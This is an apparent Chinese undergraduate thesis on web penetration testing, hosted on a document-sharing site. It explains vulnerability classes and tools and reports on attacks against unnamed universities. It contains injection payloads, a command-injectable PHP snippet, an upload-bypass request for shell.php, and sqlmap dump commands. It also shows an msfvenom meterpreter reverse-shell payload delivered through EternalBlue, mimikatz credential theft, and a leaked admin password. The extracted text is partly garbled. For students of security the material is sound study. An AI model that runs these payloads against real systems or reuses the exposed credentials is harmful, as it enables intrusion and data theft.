web安全渗透测试技术实践.doc

上传人:最*** 文档编号:1544813 上传时间:2019-10-25 格式:DOC 页数:58 大小:6.90MB
返回 下载 相关 举报
web安全渗透测试技术实践.doc_第1页
第1页 / 共58页
web安全渗透测试技术实践.doc_第2页
第2页 / 共58页
web安全渗透测试技术实践.doc_第3页
第3页 / 共58页
点击查看更多>>
资源描述
院 系 学生学号 编 号 本科毕业设计题目 web安全渗透测试技术实践 学生姓名 cui0x01 专业名称 指导教师 2017年5月6日WEB安全渗透测试技术实践摘要:随着互联网产业的高速发展,互联网对人们生活的改变越来越大,人们在购物时可以使用电子支付,政府在办公时可以使用电子政务系统,大家在学习的时候可以看优质的网络课程,当然互联网给人们带来的便利不仅如此,现在,整个传统行业都在网互联网+靠近,诚然,互联网给传统行业添加了活力。但网络是把双刃剑,在给人们带来方便的同时也会带来一些不利的影响,比如说网络信息问题,一些不法分子通过入侵网络上的web应用系统,对个人造成信息泄露,对企业造成商业机密泄露导致财产损失,对国家造成安全威胁。近几年国家高度重视网络安全,打击网络犯罪,此片文章介绍了web的组成和常见web漏洞原理,提高企业和个人警惕性,让企业个人更好保护自己的财产和隐私,身为每位公民维护网络世界的纯净和平每个人应尽的义务和责任。关键词:web安全;网络安全;渗透测试Web security penetration testing technology practiceAbstract:With the rapid development of Internet, the Internet changes to peoples lives more and more big, people can use electronic payment when shopping, the government can use the electronic government affairs system in the office, you can see when learning quality of network curriculum, of course, the Internet bring convenience to people not only that, but now, the traditional industries in net Internet + near, admittedly, the Internet to the traditional industry has added vitality. But the network is a double-edged sword, in the network brings us convenience and at the same time, some criminals through the invasion of web application system on the network, for personal information, commercial secrets to the enterprise has resulted in property damage, damage to national security threats. Country attaches great importance to the network security in recent years, crack down on Internet crime, this article introduces the composition of the web, and common web vulnerability principle, improve the enterprise and individual vigilance, make enterprise people better protect the privacy of their own property and as each citizen to maintain the network world of purity and peace everyones duty and responsibility.Key words: Web Security; network security; penetration testingII目录1绪论(1)1.1研究背景及意义(1)1.2WEB安全现状(2)1.3本文结构(3)2 WEB渗透测试理论基础(3)2.1 WEB应用组成(3)2.1.1客户端(3)2.1.2服务端及数据库(4)2.1.3WEB服务器软件及操作系统(5)2.2HTTP协议简介(6)2.3WEB应用常见漏洞分析(8)2.3.1代码执行和命令注入(8)2.3.2SQL注入攻击(11)2.3.3文件上传(13)2.3.4逻辑漏洞(19)3 WEB渗透测试常用工具(22)3.1 Firefox火狐浏览器(22)3.2AWVS 网站扫描器(23)3.3NMAP 扫描利器(24)3.4Burpsuit 抓包利器(24)3.5SQLMAP SQL漏洞利用神器(29)3.6Hydra爆破利器(31)4 WEB渗透测试步骤设计(31)4.1信息搜集(31)4.1.1域名信息查询(31)4.1.2查询WEB服务器软件和服务端脚本语言(32)4.1.3操作系统指纹和开放端口扫描(33)4.1.4CMS模板识别和网站目录结构(35)4.1.5旁站信息搜集(36)4.2漏洞挖掘实战(37)4.2.1某高校图书管理系统存在注入(37)4.2.2某高校网站存在上传漏洞(39)4.2.3某高校网站存在敏感文件泄露(41)4.2.4某高校网认证服务器存在445端口漏洞(42)4.3后渗透阶段(44)4.4渗透测试报告的撰写要求(44)5总结(46)参考文献(47)谢辞(48)附录(49)附录1web安全脑图(49)附录2常见web漏洞代码(50)1绪论1.1研究背景及意义随着互联网的发展,互联网+给各行业带来新的升级的同时,传统行业的业务在往向互联网上进行迁移【2】。随着web应用的普及,个人,企业及政府都有自己的web系统,同时电子商务,电子政务,电子支付等信息化的产物为大家带来非常大的便利。但凡事都是有利有弊的,在信息化带来便利的同时,也存在潜在威胁,一些不法分子通过攻击web应用获取非法利益,大量个人信息泄露,通过泄露的个人信息登录支付宝,或银行卡造成财产损失。企业的商业信息被盗走卖到竞争对手手上,造成企业专利财产等损失。国家的机密文件泄露,会给国家造成不可估量的损失,严重危害国家安全。下表1.1列举近年来影响较大的安全事件。 表1.1 安全事件事件造成影响“棱镜门”事件斯诺登曝光的美国的监控计划3,对世界信息安全敲响警钟。OpenSSL“心脏出血”2014年最知名的安全漏洞“心脏出血”,黑客利用该漏洞可获取全球近三成以https开头网址的用户登录帐号4。12306 数据泄露事件入侵者通过“撞库”入侵,超过 13 万条用户数据被泄露出去,对个人出行造成不便。圆通泄露客户百万信息商业信不严重不安全,快递行业信息泄密愈演愈烈。中国人寿近百万份保单信息泄露保单包含个人资料全面,泄露这些资料非常危险。.WEB渗透测试通过站在入侵者的立场,尽可能完整的发动技术攻击和手段对目标应用安全性做深入测试,发现目标系统的最脆弱环节,能够让用户直观的看到当前应用的脆弱性、可能造成的影响、以及采取必要的防护措施。1.2WEB安全现状WEB安全作为网络安全分支之一,近几年来Web系统遭到入侵攻击,数据泄密,页面被篡改数量巨大。这些被盗数据或者机密文件对个人企业或者国家机构造成很大的损失。由于近些几年国家重视网络安全,并且颁布相关法律,很少有学校开相关课程,web安全工程师挺缺人,很多互联网公司保护自己公司财产,自己都设有SRC(应急响应中心),在人员招聘上重金难聘,足以说明目前web安全是一个很大缺口的市场,在未来的物联网世界,物联网安全很有前景。应用漏洞的研究组织OWASP组织在2013年发布了web应用前10大风险漏洞OWASP TOP10【10】,例举了2010-2013年期间针对web攻击频率最高的十大攻击方法。表1.2 OWASP TOP 10-2013序号漏洞名称A1注入A2失效的身份认证和会话管理A3跨站脚本(XSS)A4不安全的直接对象引用A5安全配置错误A6敏感信息泄漏A7功能级访问控制缺失A8跨站请求伪造 (CSRF)A9使用含有已知漏洞的组件A10未验证的重定向和转发目前随着国家高度重视网络安全,在此巨大市场缺口的下,国内安全公司如雨后春笋般拔地而起,原先一些攻击者惧于现在的网络安全法,现在已经洗白从事安全维护工作,壮大了安全公司,随着这个行业被认可,商业化市场缺口推动着安全公司对技术的追求。这里列举了一些国内常见的安全厂商和产品。表1.3 国内常见安全厂商和产品厂商名称产品名称360360主机卫士知道创宇乐安全安全狗安全狗主机卫士绿盟科技Web应用防火墙深信服下一代防火墙启明星辰WAF100001.3本文结构第一章是绪论说明了对渗透技术实践的背景和意义,以及目前web安全的现状。第二章是对web组成结构的了解,先知道是什么东西,其次再对web方面的常见漏洞原理分析。第三章古人说工欲善其事必先利其器,这张介绍了一些辅助工具,再手工渗透的时候借助工具可以提高效率。第四章是完整的web渗透流程,将零碎的知识串起来,从而达到一个层次的提升。第五章是一个实践的项目,实践是查验理论的独一标准,通过实践,可以大大提高自身的技术和兴趣。2 web渗透测试理论基础2.1 web应用组成2.1.1客户端HTML语言简介HTML是这几个(Hyper Text Mark-up Language )英文首字母大写的缩写,用中文翻译过来就是文本标记语言,通常我们所说上网冲浪中“冲浪”访问的页面主要就是用这种语言写的。 HTML语言通常可以表示文字、图片、动画片、音乐、链接等。其组成部分主要由head、Body组成。CSS是Cascading Style Sheet,这三个英文首字母大写的缩写。中文翻译为层叠样式表。是用来增强网页排版和网页内容优化的一种语言。 可以这么说,HTML的标签是定义网站页面的内容,CSS标签是控制网站页面的内容如何显示。Javascript是一种浏览器端的脚本的言语,可以通过浏览器直接执行,广泛用于web前段。2.1.2服务端及数据库PHP语言简介PHP是由Hypertext Preprocessor缩写而得到的,中文翻译过来“超文本处理”是一种很优秀的服务端脚本语言。很多大型网站,博客系统,购物系统都是用php语言编写的,通常php+mysql+apche+liunx是非常好的组合。ASP/ASP.NET语言简介ASP(ActiveServerPages),其实是一套微软开发的服务器端脚本环境,是创建动态网页的一个很好的工具【5】,ASP.NET是ASP的升级版,不过ASP.NET比ASP更加优秀,ASP.NET具有网站开发的解决方案,包括验证身份,缓存网页等。其部署和调试非常简单,通常和微软出的web容器IIS在数据库sql server搭配较好。JSP语言简介JSP是sun公司开发的一种动态网页技术,JSP是跨平台的,他做出的应用可以分别在类unix和win平台上跑起来。JSP的全称是Java Server Pages,是由HTML代码和嵌入到其中的JAVA代码组成的。MYSQL/SQL SERVER/ORCLE这三个都是关系型数据库,其中MYSQL为开源的数据库,SQL SERVER是微软研发出来的数据库,ORCLE为甲骨文公司的数据库。他们都是存储数据的仓库,都可以建立数据库,数据库里面建立数据表,数据表里面有行和列,有不同的权限,可以操纵的数据库不一样。2.1.3web服务器软件及操作系统iiS 的全称是Internet Information Services,中文翻译为互联网信息服务,主要是提供web服务,用于放置ASP,ASP.NET语言编写的脚本,为用户提供网上冲浪服务,网上学习,购物等。目前最新的版本是IIS8,IIS5和IIs6都有相应的文件漏洞,配合文件上传漏洞,对web安全的危害大,可导致直接拿下web站点,进一步提权入侵操作系统,从而渗透到内网。漏洞出现后微软官方也出过相关补丁,建议升级最新的IIS组件。APCHEApacheHTTPServer(简称Apache)是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其跨平台和安全性被广泛使用【6】。NGINX属于一款轻型web服务器软件,占用内存较小,性能较好,中国许多厂商都使用使用nginx的站点有:百度(www.baidu.com)、京东(www.jd.com)、新浪(www.xisa.com)、腾讯(www.qq.com)、淘宝(www.taobao.com)等。WINDOWS类服务器操作系统Windows服务器是微软公司研发出来的一款操作系统,服务器和我们平时用的windows操作系统差不多一样,只是在某些服务功能上比普通的操作系统好点,在硬件资源上需要用的资源用以提供各种服务。LINUX类操作系统也是操作系统的一种,它的最大的优点就是提供源代码开放,可以使用很多免费开源软件。大多数web容器都会部署在linux上面,因为liunx操作系统稳定安全,占用硬件资源较小,企业用来花费少,在此基础上衍生出很多成功版本如redhat,ubuntu,centos非常成功。2.2HTTP协议简介图1 http请求和发送HTTP协议说明HTTP是由HyperText Transfer Protocol这三个英文首字母大写缩写而得到的,这个协议是负责web客户端和服务端通信,一般版本是1.0,由美国人Ted Nelson发明的,他想发明一种处理计算机文本的方法,为HTTP协议发展奠定了基础。HTTP请求结构图2 HTTP请求结构图 一个请求由四个部分组成:请求行、请求头标、空行和请求数据1.请求行:是由请求方法、请求URI和HTTP版本组成。例如:GET /index.html HTTP/1.1HTTP协议规定了8种请求的协议:GET请求是一个简单的请求方法;HEAD请求是与GET方法类似,服务器那边只返回状态行和头标,不返回所要请求的文档;POST请求向服务器传送数据流;PUT请求是服务器保存请求数据作为指定URI新内容的请求;DELETE请求服务器请求删除URI中命名的1资源请求的一种方式;OPTIONS请求是关于服务器支持的请求方法信息的请求;TRACE请求是Web服务器反馈Http请求和其头标的请求;CONNECT请求是已文档化但当前未实现的一个方法,预留做隧道处理。2.请求头标:由关键字和值对应组成,每行一对,关键字和关键值之间用冒号分里开,请求头标通知服务器有关于客户端的功能和标识,典型的请求头标有【7】:User-Agent是客户端浏览器的标识;Accept是客户端可识别的内容类型列表;Content-Length是附加到请求的数据字节数。3. 空行:最后一个响应头标之后是一个空行,发送回车符和退行,表明服务器以下不再有头标【8】。 4.请求数据:通过POST传送数据,经常使用的是Content-Length和Content-Type头标这两种标识。HTTP响应结构如下图所示:图3 HTTP响应头一个响应由四个部分组成;状态行、响应头标、空行、响应数据1. 状态行:响应代码和响应描述和HTTP版本这三个标记组成。HTTP版本:通告客户端服务端能是别的版本。响应代码是3位的数字代码,用来指示请求状态(成功或者失败);响应描述是解释响应代码。例如:HTTP/1.1 200 OK:HTTP响应码由1xx:信息,收到请求,表示继续处理;2xx:成功,表示请求成功;3xx:重定向,重新修改请求的url;4xx:客户端出现错误。2.响应头标是类似与请求头标,里面包含服务的相关信息。3.空行是表明服务器以下不再有头标,最后一个响应头标之后是一个空行,发送回车符和退行。4.响应数据是html文档相关的东西,本身需要接收的数据。2.3web应用常见漏洞分析2.3.1代码执行和命令注入代码执行,就是在web服务软件中任意执行恶意破坏的代码。命令注入,就是在可以在服务端执行操作恶意系统的命令。这两种情况都是由于代码/命令过滤不严谨所致。代码执行漏洞服务端的代码演示。 攻击者可以通过如下Payload实施代码注入:/dmzx.php?arg=1;phpinfo() 图4 代码执行演示命令注入的源代码展示PHP语言提供了一些用来执行外部应用程序的函数,例如:exec()system(),passthru(),和shell_exec()等函数。 ?phpif( isset( $_POST submit ) ) $target = $_REQUEST ip ; / Determine OS and execute the ping command. if (stristr(php_uname(s), Windows NT) $cmd = shell_exec( ping . $target ); echo .$cmd.; else $cmd = shell_exec( ping -c 3 . $target ); echo .$cmd.; ? 这段代码中并未对ip这个参数进行过滤,导致再输入时可以输入多个命令。图5 命令注入1图6命令注入2代码执行和命令注入防范思路。尽量不要使用系统命令执行,在进入执行命令函数之前,变量一定要做好过滤,对敏感字符进行转义,在使用动态函数之前,确保使用的函数是指定函数之一,对php语言来说,不能完全控制的危险函数最好不要使用。2.3.2SQL注入攻击SQL注入漏洞是一种常见的web安全漏洞,它的本质原因是在和数据库交互数据的时候,编程人员写的代码过滤不严谨,攻击者经常利用这个问题,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击。SQL注入类型可分为3种,数字型注入,搜索型注入,字符型注入。数字型注入:www.xxx.com/news.php?id=1 and 1=1; select * from news where id=1 and 1=1 字符型注入:www.xxx.com/news.php?chr=name; select * from news where chr=name; select * from news where chr=name and 1=1 搜索型注入:www.xxx.com/news.php?search=测试; select * from news where search like % 汉字 % ; select * from news where search like %汉字 % and %1%=%1%判断注入点判断条件:第一必须有参数,第二必须要有带入数据库查询。例如:www.xxx.com/papers.asp?id=1 可能存在注入。进一步通过逻辑注入语句进行判定结果,一定要用逻辑判断。www.xxx.com/papers.asp?id=1 and 1=1 执行语句select * from papers where id=1 and 2=2页面返回显示正常。www.xxx.com/news.asp?id=1 and 1=2; 执行语句select * from papers where id=1 and 1=2页面返回显示不正常。图7 正常页面对比不正常页面php+mysql手工注入演示( union select user(),database() #)图8 注入演示1php+mysql手工注入演示( union select 1,2 #)图9 注入演示2php+mysql手工注入演示( union select user,password from users #)图10 注入演示32.3.3文件上传 上传检测流程概述 图11 上传演示1文件上传检测方法通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器,web服务器接收到请求并同意后,用户与web服务器将建立连接,并传输dafa【9】。通常在文件上传过程中会检测下面红颜色标出来的代码。图12 上传演示2A 客户端对前端语言javascript 检测(通常为检测需要上传的文件扩展名)B 服务端对所上传文件的MIME 类型检测(检测Content-Type 内容)C 服务端对所上传文件的目录路径检测(检测跟path 参数相关的内容)D 服务端对所上传文件的文件扩展名检测(检测跟文件extension 相关的内容)E 服务端对所上传文件的文件内容检测(检测内容是否合法或含有恶意代码)客户端检测绕过(javascript 检测)图13 上传演示3客户端检测主要是通过前端javascript脚本检测文件的后缀是否为允许的格式。服务端检测绕过(MIME 类型检测)图14 上传演示4假如服务器端上的upload.php 代码如下然后我们可以将request 包的Content-Type 修改POST /upload.php HTTP/1.1TE: deflate,gzip;q=0.3Connection: TE, closeHost: localhostUser-Agent: libwww-perl/5.803Content-Type: multipart/form-data; boundary=xYzZYContent-Length: 155-xYzZYContent-Disposition: form-data; name=userfile; filename=shell.phpContent-Type: image/gif (原为Content-Type: text/plain)-sSxYzZY-收到服务器端返回来的应答HTTP/1.1 200 OKDate: Thu, 31 May 2011 14:02:11 GMTServer: Apache2.3Content-Length: 59Connection: closeContent-Type: text/htmlFile is valid, and was successfully uploaded.可以看到我们成功绕过了服务端MIME 类型检测。像这种服务端检测http 包的Content-Type 都可以用这种类似的方法来绕过检测。图15 上传演示5服务器检测绕过(目录路径检测)图16 上传演示6目录路径检测,一般就是检测上传的路径是否合法,稍微有一些特殊一点的都没有防御。比如比较新的fckeditor php python27 sqlmap.py -r F:toolssqlmap-1.0.7bb.txt -p txtName -threads 1 -level 2 -risk 3 -random-agent -hex -v 3 SQLMAP显示操作系统为win2003或者XP,数据库为ORACLE。图47 确定注入漏洞最后从数据库显示来看涉及近2万多条学生的登陆账号密码,姓名专业及身份证号等。C:UsersAdminpython27 sqlmap.py -r F:toolssqlmap-1.0.7bb.txt -p txtName -threads 1 -level 2 -risk 3 -random-agent -hex -v 3 -D ILAS -tables -count图48 泄露信息内容抽样针对这个SQL注入漏洞,在登录框服务端接收数据时对特殊字符例如单引号、双引号等进行转义。4.2.2某高校网站存在上传漏洞一般情况下,直接上传漏洞还是很难找见的,配合目录遍历,可以尝试找特殊页面上传文件。通过目录遍历发现该网站后台地址。域名/WebSystems/login.php图 49上传演示1有开始对后台目录进行遍历发现,域名WebSystems/install.php,该页面泄露敏感信息。图50 上传演示2直接上传webshell用菜刀连接。图51上传演示3菜刀连接webshell后服务器上的文件可以自行下载上传,危害巨大。图52 getshell针对这个问题,这些目录中包含了敏感内容,请删除这些目录,或者正确设置权限,禁止用户访问。4.2.3某高校网站存在敏感文件泄露网站敏感信息泄露,也是个危害很大的问题,有时严重泄露管理员账号密码。发现泄露数据库页面。图53 信息泄露演示1查看数据库语言看出管理员账号密码。图54 信息泄露演示2通过解密MD5值得出来后台账号和密码分别为admin #hqsy$hqsy 登录进入后台,控制后台之后可以随意发文章等。图55 登录后台针对此问题,加强对网站目录权限加管理,禁止非法访问,在服务端接收http协议中校验x-forword是否来源于登录页面。4.2.4某高校网认证服务器存在445端口漏洞通过泄露的NSA武器库中的eternalblue和DoublePulsar直接可以拿下服务器权限,生成一个带有反弹的.dll文件。Msfvenom-pwindwos/x64/meterpreter/reverse_tcplhost=10.50.113.171lport=12399-fdllwin2008.dll图56 生成win2008.dll文件先在kali上用metasploit设置监听,通过DoublePulsar将恶意win2008.dll文件传送到目标机上,执行成功,kali上收到一个反弹的会话。图57 收到反弹会话上传mimikatz.exe抓取管理员账号密码,通过3389远程连接登录认证服务器。图58 成功拿到权限针对此漏洞修复方法,最完美的是及时下载微软补丁,防止安全问题。另一方法是在防火墙入栈和出栈规则禁止445端口,这样完全隔离端口也会起到作用。4.3后渗透阶段后渗透阶段是体现高手和入门新手的区别,后渗透阶段分为,权限维持和扩大战果,权限维持是很重的,在持续对客户应用系统渗透过程,后面想要挖掘出漏洞需要从业务上找问题,如果权限维持不到想进一步发掘漏洞,扩大战果就会变得很难,或者从头开始,这样就浪费大量时间和经历。4.4渗透测试报告的撰写要求 渗透测试在最后阶段一定要出一份渗透测试报告,这才算整个渗透的完成。渗透测试最主要的目的就是发现问题,要全面的站在入侵者的立场,动用一切办法发现客户的问题,并且提出修补方法,避免客户的损失。当然,渗透测试报告作为自己帮助客户的依据,和客户沟通的文件,更是不可缺少的。渗透测试报告是一次渗透测试的主要价值体现:第一点,要必须写入渗透测试概述及最终目的,然后写入渗透测试项目的起因,如果没有起因也可以介绍渗透测试意义。第二点,一定要精准的说明日期以及要执行渗透测试的人员名单,也要列出的渗透测试过程中需要使用的工具。第三点,明确渗透测试的入侵的对象以及场所,可以根据不同的渗透测试对象进行总结。第四点,明确渗透的使用方法,从最开始的收集信息到最后的结果生成报告。第五点,对测试结果发现的安全风险综述及存在的风险加固建议。5总结目前,互联网技术的发展速度已经远远超越了网络犯罪的立法速度,有一些立法对互联网犯罪的处罚力度非常轻,还有一些互联网犯罪活动并没有相关的法律规定。这种情况对于加大网络信息安全的打击力度是非常不利的。因此,现在要加快对互联网犯罪的立法工作,使得在处理互联网犯罪的时候可以做到有法可依。近些年,国家加大了最互联网的监督和监管力度,使得很多的互联网犯罪活动能够在较短的时间内得到取证和解决,但是相对而言,公民的互联网安全意思还是比较淡薄,因此,提高公民的互联网安全意识也成了迫在眉睫需要解决的问题。重点加强对全社会信息安全问题的统筹安排,对信息安全工作责任制要不断深化
展开阅读全文
相关资源
相关搜索

当前位置:首页 > 图纸专区 > 课件教案


copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!